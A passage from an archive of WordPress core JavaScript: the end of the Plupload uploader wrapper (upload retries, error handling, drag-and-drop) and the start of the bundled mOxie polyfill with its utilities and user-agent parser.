failed... * Do a cleanup then tell the user to scale down the image and upload it again. */ $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce, attachment_id: id, _wp_upload_failed_cleanup: true, } }); error( message, data, file, 'no-retry' ); return; } if ( ! times ) { tryAgainCount[ file.id ] = 1; } else { tryAgainCount[ file.id ] = ++times; } // Another request to try to create the missing image sub-sizes. $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce, attachment_id: id, } }).done( function( response ) { if ( response.success ) { fileUploaded( self.uploader, file, response ); } else { if ( response.data && response.data.message ) { message = response.data.message; } error( message, data, file, 'no-retry' ); } }).fail( function( jqXHR ) { // If another HTTP 5xx error, try try again... if ( jqXHR.status >= 500 && jqXHR.status < 600 ) { tryAgain( message, data, file ); return; } error( message, data, file, 'no-retry' ); }); } /** * Custom error callback. * * Add a new error to the errors collection, so other modules can track * and display errors. @see wp.Uploader.errors. * * @param {string} message Error message. * @param {object} data Error data from Plupload. * @param {plupload.File} file File that was uploaded. * @param {string} retry Whether to try again to create image sub-sizes. Passing 'no-retry' will prevent it. */ error = function( message, data, file, retry ) { var isImage = file.type && file.type.indexOf( 'image/' ) === 0, status = data && data.status; // If the file is an image and the error is HTTP 5xx try to create sub-sizes again. if ( retry !== 'no-retry' && isImage && status >= 500 && status < 600 ) { tryAgain( message, data, file ); return; } if ( file.attachment ) { file.attachment.destroy(); } Uploader.errors.unshift({ message: message || pluploadL10n.default_error, data: data, file: file }); self.error( message, data, file ); }; /** * After a file is successfully uploaded, update its model. * * @param {plupload.Uploader} up Uploader instance. * @param {plupload.File} file File that was uploaded. * @param {Object} response Object with response properties. */ fileUploaded = function( up, file, response ) { var complete; // Remove the "uploading" UI elements. _.each( ['file','loaded','size','percent'], function( key ) { file.attachment.unset( key ); } ); file.attachment.set( _.extend( response.data, { uploading: false } ) ); wp.media.model.Attachment.get( response.data.id, file.attachment ); complete = Uploader.queue.all( function( attachment ) { return ! attachment.get( 'uploading' ); }); if ( complete ) { Uploader.queue.reset(); } self.success( file.attachment ); } /** * After the Uploader has been initialized, initialize some behaviors for the dropzone. * * @param {plupload.Uploader} uploader Uploader instance. */ this.uploader.bind( 'init', function( uploader ) { var timer, active, dragdrop, dropzone = self.dropzone; dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile; // Generate drag/drop helper classes. if ( ! dropzone ) { return; } dropzone.toggleClass( 'supports-drag-drop', !! dragdrop ); if ( ! dragdrop ) { return dropzone.unbind('.wp-uploader'); } // 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'. dropzone.on( 'dragover.wp-uploader', function() { if ( timer ) { clearTimeout( timer ); } if ( active ) { return; } dropzone.trigger('dropzone:enter').addClass('drag-over'); active = true; }); dropzone.on('dragleave.wp-uploader, drop.wp-uploader', function() { /* * Using an instant timer prevents the drag-over class * from being quickly removed and re-added when elements * inside the dropzone are repositioned. * * @see https://core.trac.wordpress.org/ticket/21705 */ timer = setTimeout( function() { active = false; dropzone.trigger('dropzone:leave').removeClass('drag-over'); }, 0 ); }); self.ready = true; $(self).trigger( 'uploader:ready' ); }); this.uploader.bind( 'postinit', function( up ) { up.refresh(); self.init(); }); this.uploader.init(); if ( this.browser ) { this.browser.on( 'mouseenter', this.refresh ); } else { this.uploader.disableBrowse( true ); } $( self ).on( 'uploader:ready', function() { $( '.moxie-shim-html5 input[type="file"]' ) .attr( { tabIndex: '-1', 'aria-hidden': 'true' } ); } ); /** * After files were filtered and added to the queue, create a model for each. * * @param {plupload.Uploader} up Uploader instance. * @param {Array} files Array of file objects that were added to queue by the user. */ this.uploader.bind( 'FilesAdded', function( up, files ) { _.each( files, function( file ) { var attributes, image; // Ignore failed uploads. if ( plupload.FAILED === file.status ) { return; } if ( file.type === 'image/heic' && up.settings.heic_upload_error ) { // Show error but do not block uploading. Uploader.errors.unshift({ message: pluploadL10n.unsupported_image, data: {}, file: file }); } else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) { // Disallow uploading of WebP images if the server cannot edit them. error( pluploadL10n.noneditable_image, {}, file, 'no-retry' ); up.removeFile( file ); return; } // Generate attributes for a new `Attachment` model. attributes = _.extend({ file: file, uploading: true, date: new Date(), filename: file.name, menuOrder: 0, uploadedTo: wp.media.model.settings.post.id }, _.pick( file, 'loaded', 'size', 'percent' ) ); // Handle early mime type scanning for images. image = /(?:jpe?g|png|gif)$/i.exec( file.name ); // For images set the model's type and subtype attributes. if ( image ) { attributes.type = 'image'; // `jpeg`, `png` and `gif` are valid subtypes. // `jpg` is not, so map it to `jpeg`. attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0]; } // Create a model for the attachment, and add it to the Upload queue collection // so listeners to the upload queue can track and display upload progress. file.attachment = wp.media.model.Attachment.create( attributes ); Uploader.queue.add( file.attachment ); self.added( file.attachment ); }); up.refresh(); up.start(); }); this.uploader.bind( 'UploadProgress', function( up, file ) { file.attachment.set( _.pick( file, 'loaded', 'percent' ) ); self.progress( file.attachment ); }); /** * After a file is successfully uploaded, update its model. * * @param {plupload.Uploader} up Uploader instance. * @param {plupload.File} file File that was uploaded. * @param {Object} response Object with response properties. * @return {mixed} */ this.uploader.bind( 'FileUploaded', function( up, file, response ) { try { response = JSON.parse( response.response ); } catch ( e ) { return error( pluploadL10n.default_error, e, file ); } if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) { return error( pluploadL10n.default_error, null, file ); } else if ( ! response.success ) { return error( response.data && response.data.message, response.data, file ); } // Success. Update the UI with the new attachment. fileUploaded( up, file, response ); }); /** * When plupload surfaces an error, send it to the error handler. * * @param {plupload.Uploader} up Uploader instance. * @param {Object} pluploadError Contains code, message and sometimes file and other details. */ this.uploader.bind( 'Error', function( up, pluploadError ) { var message = pluploadL10n.default_error, key; // Check for plupload errors. for ( key in Uploader.errorMap ) { if ( pluploadError.code === plupload[ key ] ) { message = Uploader.errorMap[ key ]; if ( typeof message === 'function' ) { message = message( pluploadError.file, pluploadError ); } break; } } error( message, pluploadError, pluploadError.file ); up.refresh(); }); }; // Adds the 'defaults' and 'browser' properties. $.extend( Uploader, _wpPluploadSettings ); Uploader.uuid = 0; // Map Plupload error codes to user friendly error messages. Uploader.errorMap = { 'FAILED': pluploadL10n.upload_failed, 'FILE_EXTENSION_ERROR': pluploadL10n.invalid_filetype, 'IMAGE_FORMAT_ERROR': pluploadL10n.not_an_image, 'IMAGE_MEMORY_ERROR': pluploadL10n.image_memory_exceeded, 'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded, 'GENERIC_ERROR': pluploadL10n.upload_failed, 'IO_ERROR': pluploadL10n.io_error, 'SECURITY_ERROR': pluploadL10n.security_error, 'FILE_SIZE_ERROR': function( file ) { return pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name ); }, 'HTTP_ERROR': function( file ) { if ( file.type && file.type.indexOf( 'image/' ) === 0 ) { return pluploadL10n.http_error_image; } return pluploadL10n.http_error; }, }; $.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{ /** * Acts as a shortcut to extending the uploader's multipart_params object. * * param( key ) * Returns the value of the key. * * param( key, value ) * Sets the value of a key. * * param( map ) * Sets values for a map of data. */ param: function( key, value ) { if ( arguments.length === 1 && typeof key === 'string' ) { return this.uploader.settings.multipart_params[ key ]; } if ( arguments.length > 1 ) { this.uploader.settings.multipart_params[ key ] = value; } else { $.extend( this.uploader.settings.multipart_params, key ); } }, /** * Make a few internal event callbacks available on the wp.Uploader object * to change the Uploader internals if absolutely necessary. */ init: function() {}, error: function() {}, success: function() {}, added: function() {}, progress: function() {}, complete: function() {}, refresh: function() { var node, attached, container, id; if ( this.browser ) { node = this.browser[0]; // Check if the browser node is in the DOM. while ( node ) { if ( node === document.body ) { attached = true; break; } node = node.parentNode; } /* * If the browser node is not attached to the DOM, * use a temporary container to house it, as the browser button shims * require the button to exist in the DOM at all times. */ if ( ! attached ) { id = 'wp-uploader-browser-' + this.uploader.id; container = $( '#' + id ); if ( ! container.length ) { container = $('<div class="wp-uploader-browser" />').css({ position: 'fixed', top: '-1000px', left: '-1000px', height: 0, width: 0 }).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body'); } container.append( this.browser ); } } this.uploader.refresh(); } }); // Create a collection of attachments in the upload queue, // so that other modules can track and display upload progress. Uploader.queue = new wp.media.model.Attachments( [], { query: false }); // Create a collection to collect errors incurred while attempting upload. Uploader.errors = new Backbone.Collection(); exports.Uploader = Uploader; })( wp, jQuery ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/plupload/moxie.js��������������������������������������������������������������������������������0000644�����������������00000760204�14717703502�0010476 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������;var MXI_DEBUG = false; /** * mOxie - multi-runtime File API & XMLHttpRequest L2 Polyfill * v1.3.5 * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing * * Date: 2016-05-15 */ /** * Compiled inline version. (Library mode) */ /** * Modified for WordPress, Silverlight and Flash runtimes support was removed. * See https://core.trac.wordpress.org/ticket/41755. */ /*jshint smarttabs:true, undef:true, latedef:true, curly:true, bitwise:true, camelcase:true */ /*globals $code */ (function(exports, undefined) { "use strict"; var modules = {}; function require(ids, callback) { var module, defs = []; for (var i = 0; i < ids.length; ++i) { module = modules[ids[i]] || resolve(ids[i]); if (!module) { throw 'module definition dependecy not found: ' + ids[i]; } defs.push(module); } callback.apply(null, defs); } function define(id, dependencies, definition) { if (typeof id !== 'string') { throw 'invalid module definition, module id must be defined and be a string'; } if (dependencies === undefined) { throw 'invalid module definition, dependencies must be specified'; } if (definition === undefined) { throw 'invalid module definition, definition function must be specified'; } require(dependencies, function() { modules[id] = definition.apply(null, arguments); }); } function defined(id) { return !!modules[id]; } function resolve(id) { var target = exports; var fragments = id.split(/[.\/]/); for (var fi = 0; fi < fragments.length; ++fi) { if (!target[fragments[fi]]) { return; } target = target[fragments[fi]]; } return target; } function expose(ids) { for (var i = 0; i < ids.length; i++) { var target = exports; var id = ids[i]; var fragments = id.split(/[.\/]/); for (var fi = 0; fi < fragments.length - 1; ++fi) { if (target[fragments[fi]] === undefined) { target[fragments[fi]] = {}; } target = target[fragments[fi]]; } target[fragments[fragments.length - 1]] = modules[id]; } } // Included from: src/javascript/core/utils/Basic.js /** * Basic.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Basic', [], function() { /** Gets the true type of the built-in object (better version of typeof). @author Angus Croll (http://javascriptweblog.wordpress.com/) @method typeOf @for Utils @static @param {Object} o Object to check. @return {String} Object [[Class]] */ var typeOf = function(o) { var undef; if (o === undef) { return 'undefined'; } else if (o === null) { return 'null'; } else if (o.nodeType) { return 'node'; } // the snippet below is awesome, however it fails to detect null, undefined and arguments types in IE lte 8 return ({}).toString.call(o).match(/\s([a-z|A-Z]+)/)[1].toLowerCase(); }; /** Extends the specified object with another object. @method extend @static @param {Object} target Object to extend. @param {Object} [obj]* Multiple objects to extend with. @return {Object} Same as target, the extended object. */ var extend = function(target) { var undef; each(arguments, function(arg, i) { if (i > 0) { each(arg, function(value, key) { if (value !== undef) { if (typeOf(target[key]) === typeOf(value) && !!~inArray(typeOf(value), ['array', 'object'])) { extend(target[key], value); } else { target[key] = value; } } }); } }); return target; }; /** Executes the callback function for each item in array/object. If you return false in the callback it will break the loop. @method each @static @param {Object} obj Object to iterate. @param {function} callback Callback function to execute for each item. */ var each = function(obj, callback) { var length, key, i, undef; if (obj) { if (typeOf(obj.length) === 'number') { // it might be Array, FileList or even arguments object // Loop array items for (i = 0, length = obj.length; i < length; i++) { if (callback(obj[i], i) === false) { return; } } } else if (typeOf(obj) === 'object') { // Loop object items for (key in obj) { if (obj.hasOwnProperty(key)) { if (callback(obj[key], key) === false) { return; } } } } } }; /** Checks if object is empty. @method isEmptyObj @static @param {Object} o Object to check. @return {Boolean} */ var isEmptyObj = function(obj) { var prop; if (!obj || typeOf(obj) !== 'object') { return true; } for (prop in obj) { return false; } return true; }; /** Recieve an array of functions (usually async) to call in sequence, each function receives a callback as first argument that it should call, when it completes. Finally, after everything is complete, main callback is called. Passing truthy value to the callback as a first argument will interrupt the sequence and invoke main callback immediately. @method inSeries @static @param {Array} queue Array of functions to call in sequence @param {Function} cb Main callback that is called in the end, or in case of error */ var inSeries = function(queue, cb) { var i = 0, length = queue.length; if (typeOf(cb) !== 'function') { cb = function() {}; } if (!queue || !queue.length) { cb(); } function callNext(i) { if (typeOf(queue[i]) === 'function') { queue[i](function(error) { /*jshint expr:true */ ++i < length && !error ? callNext(i) : cb(error); }); } } callNext(i); }; /** Recieve an array of functions (usually async) to call in parallel, each function receives a callback as first argument that it should call, when it completes. After everything is complete, main callback is called. Passing truthy value to the callback as a first argument will interrupt the process and invoke main callback immediately. @method inParallel @static @param {Array} queue Array of functions to call in sequence @param {Function} cb Main callback that is called in the end, or in case of error */ var inParallel = function(queue, cb) { var count = 0, num = queue.length, cbArgs = new Array(num); each(queue, function(fn, i) { fn(function(error) { if (error) { return cb(error); } var args = [].slice.call(arguments); args.shift(); // strip error - undefined or not cbArgs[i] = args; count++; if (count === num) { cbArgs.unshift(null); cb.apply(this, cbArgs); } }); }); }; /** Find an element in array and return it's index if present, otherwise return -1. @method inArray @static @param {Mixed} needle Element to find @param {Array} array @return {Int} Index of the element, or -1 if not found */ var inArray = function(needle, array) { if (array) { if (Array.prototype.indexOf) { return Array.prototype.indexOf.call(array, needle); } for (var i = 0, length = array.length; i < length; i++) { if (array[i] === needle) { return i; } } } return -1; }; /** Returns elements of first array if they are not present in second. And false - otherwise. @private @method arrayDiff @param {Array} needles @param {Array} array @return {Array|Boolean} */ var arrayDiff = function(needles, array) { var diff = []; if (typeOf(needles) !== 'array') { needles = [needles]; } if (typeOf(array) !== 'array') { array = [array]; } for (var i in needles) { if (inArray(needles[i], array) === -1) { diff.push(needles[i]); } } return diff.length ? diff : false; }; /** Find intersection of two arrays. @private @method arrayIntersect @param {Array} array1 @param {Array} array2 @return {Array} Intersection of two arrays or null if there is none */ var arrayIntersect = function(array1, array2) { var result = []; each(array1, function(item) { if (inArray(item, array2) !== -1) { result.push(item); } }); return result.length ? result : null; }; /** Forces anything into an array. @method toArray @static @param {Object} obj Object with length field. @return {Array} Array object containing all items. */ var toArray = function(obj) { var i, arr = []; for (i = 0; i < obj.length; i++) { arr[i] = obj[i]; } return arr; }; /** Generates an unique ID. The only way a user would be able to get the same ID is if the two persons at the same exact millisecond manage to get the same 5 random numbers between 0-65535; it also uses a counter so each ID is guaranteed to be unique for the given page. It is more probable for the earth to be hit with an asteroid. @method guid @static @param {String} prefix to prepend (by default 'o' will be prepended). @method guid @return {String} Virtually unique id. */ var guid = (function() { var counter = 0; return function(prefix) { var guid = new Date().getTime().toString(32), i; for (i = 0; i < 5; i++) { guid += Math.floor(Math.random() * 65535).toString(32); } return (prefix || 'o_') + guid + (counter++).toString(32); }; }()); /** Trims white spaces around the string @method trim @static @param {String} str @return {String} */ var trim = function(str) { if (!str) { return str; } return String.prototype.trim ? String.prototype.trim.call(str) : str.toString().replace(/^\s*/, '').replace(/\s*$/, ''); }; /** Parses the specified size string into a byte value. For example 10kb becomes 10240. @method parseSizeStr @static @param {String/Number} size String to parse or number to just pass through. @return {Number} Size in bytes. */ var parseSizeStr = function(size) { if (typeof(size) !== 'string') { return size; } var muls = { t: 1099511627776, g: 1073741824, m: 1048576, k: 1024 }, mul; size = /^([0-9\.]+)([tmgk]?)$/.exec(size.toLowerCase().replace(/[^0-9\.tmkg]/g, '')); mul = size[2]; size = +size[1]; if (muls.hasOwnProperty(mul)) { size *= muls[mul]; } return Math.floor(size); }; /** * Pseudo sprintf implementation - simple way to replace tokens with specified values. * * @param {String} str String with tokens * @return {String} String with replaced tokens */ var sprintf = function(str) { var args = [].slice.call(arguments, 1); return str.replace(/%[a-z]/g, function() { var value = args.shift(); return typeOf(value) !== 'undefined' ? value : ''; }); }; return { guid: guid, typeOf: typeOf, extend: extend, each: each, isEmptyObj: isEmptyObj, inSeries: inSeries, inParallel: inParallel, inArray: inArray, arrayDiff: arrayDiff, arrayIntersect: arrayIntersect, toArray: toArray, trim: trim, sprintf: sprintf, parseSizeStr: parseSizeStr }; }); // Included from: src/javascript/core/utils/Env.js /** * Env.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/core/utils/Env", [ "moxie/core/utils/Basic" ], function(Basic) { /** * UAParser.js v0.7.7 * Lightweight JavaScript-based User-Agent string parser * https://github.com/faisalman/ua-parser-js * * Copyright © 2012-2015 Faisal Salman <fyzlman@gmail.com> * Dual licensed under GPLv2 & MIT */ var UAParser = (function (undefined) { ////////////// // Constants ///////////// var EMPTY = '', UNKNOWN = '?', FUNC_TYPE = 'function', UNDEF_TYPE = 'undefined', OBJ_TYPE = 'object', MAJOR = 'major', MODEL = 'model', NAME = 'name', TYPE = 'type', VENDOR = 'vendor', VERSION = 'version', ARCHITECTURE= 'architecture', CONSOLE = 'console', MOBILE = 'mobile', TABLET = 'tablet'; /////////// // Helper ////////// var util = { has : function (str1, str2) { return str2.toLowerCase().indexOf(str1.toLowerCase()) !== -1; }, lowerize : function (str) { return str.toLowerCase(); } }; /////////////// // Map helper ////////////// var mapper = { rgx : function () { // loop through all regexes maps for (var result, i = 0, j, k, p, q, matches, match, args = arguments; i < args.length; i += 2) { var regex = args[i], // even sequence (0,2,4,..) props = args[i + 1]; // odd sequence (1,3,5,..) // construct object barebones if (typeof(result) === UNDEF_TYPE) { result = {}; for (p in props) { q = props[p]; if (typeof(q) === OBJ_TYPE) { result[q[0]] = undefined; } else { result[q] = undefined; } } } // try matching uastring with regexes for (j = k = 0; j < regex.length; j++) { matches = regex[j].exec(this.getUA()); if (!!matches) { for (p = 0; p < props.length; p++) { match = matches[++k]; q = props[p]; // check if given property is actually array if (typeof(q) === OBJ_TYPE && q.length > 0) { if (q.length == 2) { if (typeof(q[1]) == FUNC_TYPE) { // assign modified match result[q[0]] = q[1].call(this, match); } else { // assign given value, ignore regex match result[q[0]] = q[1]; } } else if (q.length == 3) { // check whether function or regex if (typeof(q[1]) === FUNC_TYPE && !(q[1].exec && q[1].test)) { // call function (usually string mapper) result[q[0]] = match ? q[1].call(this, match, q[2]) : undefined; } else { // sanitize match using given regex result[q[0]] = match ? match.replace(q[1], q[2]) : undefined; } } else if (q.length == 4) { result[q[0]] = match ? q[3].call(this, match.replace(q[1], q[2])) : undefined; } } else { result[q] = match ? match : undefined; } } break; } } if(!!matches) break; // break the loop immediately if match found } return result; }, str : function (str, map) { for (var i in map) { // check if array if (typeof(map[i]) === OBJ_TYPE && map[i].length > 0) { for (var j = 0; j < map[i].length; j++) { if (util.has(map[i][j], str)) { return (i === UNKNOWN) ? undefined : i; } } } else if (util.has(map[i], str)) { return (i === UNKNOWN) ? undefined : i; } } return str; } }; /////////////// // String map ////////////// var maps = { browser : { oldsafari : { major : { '1' : ['/8', '/1', '/3'], '2' : '/4', '?' : '/' }, version : { '1.0' : '/8', '1.2' : '/1', '1.3' : '/3', '2.0' : '/412', '2.0.2' : '/416', '2.0.3' : '/417', '2.0.4' : '/419', '?' : '/' } } }, device : { sprint : { model : { 'Evo Shift 4G' : '7373KT' }, vendor : { 'HTC' : 'APA', 'Sprint' : 'Sprint' } } }, os : { windows : { version : { 'ME' : '4.90', 'NT 3.11' : 'NT3.51', 'NT 4.0' : 'NT4.0', '2000' : 'NT 5.0', 'XP' : ['NT 5.1', 'NT 5.2'], 'Vista' : 'NT 6.0', '7' : 'NT 6.1', '8' : 'NT 6.2', '8.1' : 'NT 6.3', 'RT' : 'ARM' } } } }; ////////////// // Regex map ///////////// var regexes = { browser : [[ // Presto based /(opera\smini)\/([\w\.-]+)/i, // Opera Mini /(opera\s[mobiletab]+).+version\/([\w\.-]+)/i, // Opera Mobi/Tablet /(opera).+version\/([\w\.]+)/i, // Opera > 9.80 /(opera)[\/\s]+([\w\.]+)/i // Opera < 9.80 ], [NAME, VERSION], [ /\s(opr)\/([\w\.]+)/i // Opera Webkit ], [[NAME, 'Opera'], VERSION], [ // Mixed /(kindle)\/([\w\.]+)/i, // Kindle /(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i, // Lunascape/Maxthon/Netfront/Jasmine/Blazer // Trident based /(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i, // Avant/IEMobile/SlimBrowser/Baidu /(?:ms|\()(ie)\s([\w\.]+)/i, // Internet Explorer // Webkit/KHTML based /(rekonq)\/([\w\.]+)*/i, // Rekonq /(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i // Chromium/Flock/RockMelt/Midori/Epiphany/Silk/Skyfire/Bolt/Iron ], [NAME, VERSION], [ /(trident).+rv[:\s]([\w\.]+).+like\sgecko/i // IE11 ], [[NAME, 'IE'], VERSION], [ /(edge)\/((\d+)?[\w\.]+)/i // Microsoft Edge ], [NAME, VERSION], [ /(yabrowser)\/([\w\.]+)/i // Yandex ], [[NAME, 'Yandex'], VERSION], [ /(comodo_dragon)\/([\w\.]+)/i // Comodo Dragon ], [[NAME, /_/g, ' '], VERSION], [ /(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i, // Chrome/OmniWeb/Arora/Tizen/Nokia /(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i // UCBrowser/QQBrowser ], [NAME, VERSION], [ /(dolfin)\/([\w\.]+)/i // Dolphin ], [[NAME, 'Dolphin'], VERSION], [ /((?:android.+)crmo|crios)\/([\w\.]+)/i // Chrome for Android/iOS ], [[NAME, 'Chrome'], VERSION], [ /XiaoMi\/MiuiBrowser\/([\w\.]+)/i // MIUI Browser ], [VERSION, [NAME, 'MIUI Browser']], [ /android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i // Android Browser ], [VERSION, [NAME, 'Android Browser']], [ /FBAV\/([\w\.]+);/i // Facebook App for iOS ], [VERSION, [NAME, 'Facebook']], [ /version\/([\w\.]+).+?mobile\/\w+\s(safari)/i // Mobile Safari ], [VERSION, [NAME, 'Mobile Safari']], [ /version\/([\w\.]+).+?(mobile\s?safari|safari)/i // Safari & Safari Mobile ], [VERSION, NAME], [ /webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i // Safari < 3.0 ], [NAME, [VERSION, mapper.str, maps.browser.oldsafari.version]], [ /(konqueror)\/([\w\.]+)/i, // Konqueror /(webkit|khtml)\/([\w\.]+)/i ], [NAME, VERSION], [ // Gecko based /(navigator|netscape)\/([\w\.-]+)/i // Netscape ], [[NAME, 'Netscape'], VERSION], [ /(swiftfox)/i, // Swiftfox /(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i, // IceDragon/Iceweasel/Camino/Chimera/Fennec/Maemo/Minimo/Conkeror /(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i, // Firefox/SeaMonkey/K-Meleon/IceCat/IceApe/Firebird/Phoenix /(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i, // Mozilla // Other /(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i, // Polaris/Lynx/Dillo/iCab/Doris/Amaya/w3m/NetSurf /(links)\s\(([\w\.]+)/i, // Links /(gobrowser)\/?([\w\.]+)*/i, // GoBrowser /(ice\s?browser)\/v?([\w\._]+)/i, // ICE Browser /(mosaic)[\/\s]([\w\.]+)/i // Mosaic ], [NAME, VERSION] ], engine : [[ /windows.+\sedge\/([\w\.]+)/i // EdgeHTML ], [VERSION, [NAME, 'EdgeHTML']], [ /(presto)\/([\w\.]+)/i, // Presto /(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i, // WebKit/Trident/NetFront/NetSurf/Amaya/Lynx/w3m /(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i, // KHTML/Tasman/Links /(icab)[\/\s]([23]\.[\d\.]+)/i // iCab ], [NAME, VERSION], [ /rv\:([\w\.]+).*(gecko)/i // Gecko ], [VERSION, NAME] ], os : [[ // Windows based /microsoft\s(windows)\s(vista|xp)/i // Windows (iTunes) ], [NAME, VERSION], [ /(windows)\snt\s6\.2;\s(arm)/i, // Windows RT /(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i ], [NAME, [VERSION, mapper.str, maps.os.windows.version]], [ /(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i ], [[NAME, 'Windows'], [VERSION, mapper.str, maps.os.windows.version]], [ // Mobile/Embedded OS /\((bb)(10);/i // BlackBerry 10 ], [[NAME, 'BlackBerry'], VERSION], [ /(blackberry)\w*\/?([\w\.]+)*/i, // Blackberry /(tizen)[\/\s]([\w\.]+)/i, // Tizen /(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i, // Android/WebOS/Palm/QNX/Bada/RIM/MeeGo/Contiki /linux;.+(sailfish);/i // Sailfish OS ], [NAME, VERSION], [ /(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i // Symbian ], [[NAME, 'Symbian'], VERSION], [ /\((series40);/i // Series 40 ], [NAME], [ /mozilla.+\(mobile;.+gecko.+firefox/i // Firefox OS ], [[NAME, 'Firefox OS'], VERSION], [ // Console /(nintendo|playstation)\s([wids3portablevu]+)/i, // Nintendo/Playstation // GNU/Linux based /(mint)[\/\s\(]?(\w+)*/i, // Mint /(mageia|vectorlinux)[;\s]/i, // Mageia/VectorLinux /(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i, // Joli/Ubuntu/Debian/SUSE/Gentoo/Arch/Slackware // Fedora/Mandriva/CentOS/PCLinuxOS/RedHat/Zenwalk/Linpus /(hurd|linux)\s?([\w\.]+)*/i, // Hurd/Linux /(gnu)\s?([\w\.]+)*/i // GNU ], [NAME, VERSION], [ /(cros)\s[\w]+\s([\w\.]+\w)/i // Chromium OS ], [[NAME, 'Chromium OS'], VERSION],[ // Solaris /(sunos)\s?([\w\.]+\d)*/i // Solaris ], [[NAME, 'Solaris'], VERSION], [ // BSD based /\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i // FreeBSD/NetBSD/OpenBSD/PC-BSD/DragonFly ], [NAME, VERSION],[ /(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i // iOS ], [[NAME, 'iOS'], [VERSION, /_/g, '.']], [ /(mac\sos\sx)\s?([\w\s\.]+\w)*/i, /(macintosh|mac(?=_powerpc)\s)/i // Mac OS ], [[NAME, 'Mac OS'], [VERSION, /_/g, '.']], [ // Other /((?:open)?solaris)[\/\s-]?([\w\.]+)*/i, // Solaris /(haiku)\s(\w+)/i, // Haiku /(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i, // AIX /(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i, // Plan9/Minix/BeOS/OS2/AmigaOS/MorphOS/RISCOS/OpenVMS /(unix)\s?([\w\.]+)*/i // UNIX ], [NAME, VERSION] ] }; ///////////////// // Constructor //////////////// var UAParser = function (uastring) { var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY); this.getBrowser = function () { return mapper.rgx.apply(this, regexes.browser); }; this.getEngine = function () { return mapper.rgx.apply(this, regexes.engine); }; this.getOS = function () { return mapper.rgx.apply(this, regexes.os); }; this.getResult = function() { return { ua : this.getUA(), browser : this.getBrowser(), engine : this.getEngine(), os : this.getOS() }; }; this.getUA = function () { return ua; }; this.setUA = function (uastring) { ua = uastring; return this; }; this.setUA(ua); }; return UAParser; })(); function version_compare(v1, v2, operator) { // From: http://phpjs.org/functions // + original by: Philippe Jausions (http://pear.php.net/user/jausions) // + original by: Aidan Lister (http://aidanlister.com/) // + reimplemented by: Kankrelune (http://www.webfaktory.info/) // + improved by: Brett Zamir (http://brett-zamir.me) // + improved by: Scott Baker // + improved by: Theriault // * example 1: version_compare('8.2.5rc', '8.2.5a'); // * returns 1: 1 // * example 2: version_compare('8.2.50', '8.2.52', '<'); // * returns 2: true // * example 3: version_compare('5.3.0-dev', '5.3.0'); // * returns 3: -1 // * example 4: version_compare('4.1.0.52','4.01.0.51'); // * returns 4: 1 // Important: compare must be initialized at 0. var i = 0, x = 0, compare = 0, // vm maps textual PHP versions to negatives so they're less than 0. // PHP currently defines these as CASE-SENSITIVE. It is important to // leave these as negatives so that they can come before numerical versions // and as if no letters were there to begin with. // (1alpha is < 1 and < 1.1 but > 1dev1) // If a non-numerical value can't be mapped to this table, it receives // -7 as its value. vm = { 'dev': -6, 'alpha': -5, 'a': -5, 'beta': -4, 'b': -4, 'RC': -3, 'rc': -3, '#': -2, 'p': 1, 'pl': 1 }, // This function will be called to prepare each version argument. // It replaces every _, -, and + with a dot. // It surrounds any nonsequence of numbers/dots with dots. // It replaces sequences of dots with a single 